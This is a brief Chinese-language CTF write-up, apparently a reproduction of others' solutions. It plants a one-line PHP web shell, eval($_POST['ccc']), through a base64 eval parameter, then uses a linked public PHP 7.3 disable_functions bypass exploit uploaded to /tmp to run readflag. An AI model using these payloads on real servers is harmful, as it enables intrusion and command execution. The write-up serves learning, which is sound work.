向Ginkgo传参,后面还有eval函数,先传个phpinfo(); 试试,要传base64编码后的。
发现没有问题,发现一大堆被禁的函数,php版本为7.3。
接下来看看能不能穿一句话上去
eval($_POST[‘ccc’]);
?Ginkgo=ZXZhbCgkX1BPU1RbJ2NjYyddKTs=
然后用蚁剑连接
可以看到flag和readflag;
权限不够无法打开flag,readflag打开也是一堆乱码。
这种情况一般就是通过执行readflag来获取flag。
接下来就要结合7.3版本,readflag,想到
bypass disable_functions,该漏洞可以触发命令执行
大佬给出的exp:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
修改一下exp的执行目标,通过蚁剑上传至tmp目录下(因为这目录的权限较高)
上传成功后在页面里包含文件即可获得flag,
?Ginkgo=include(’/tmp/test.php’);
?Ginkgo=aW5jbHVkZSgnL3RtcC90ZXN0LnBocCcpOw==
注:(文章为本人参考他人wp复现,学习思路)